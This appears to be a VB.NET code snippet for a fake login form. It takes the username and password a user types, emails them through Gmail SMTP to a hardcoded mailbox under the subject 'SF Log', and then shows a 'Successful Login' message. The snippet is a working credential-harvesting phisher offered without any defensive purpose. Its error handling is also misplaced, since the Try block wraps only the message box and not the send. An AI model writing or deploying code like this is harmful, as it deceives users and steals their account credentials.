If TextBox1.Text = "" Or TextBox2.Text = "" Then
MsgBox("Please provide correct login information")
Else
Dim htmail As New MailMessage
With htmail
.From = New MailAddress(“[email protected]”)
.To.Add(“[email protected]”)
.Subject = (“SF Log”)
.Body = (“Username : ” & TextBox1.Text & “, Password : ” & TextBox2.Text)
End With
Dim SMTPServer As New SmtpClient(“smtp.gmail.com”)
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(“[email protected]”, “yourpassword”)
SMTPServer.EnableSsl = True
SMTPServer.Send(htmail)
Try
MsgBox(“Successful Login”)
Catch ex As Exception
MsgBox(“Failed Login”)
End Try
End If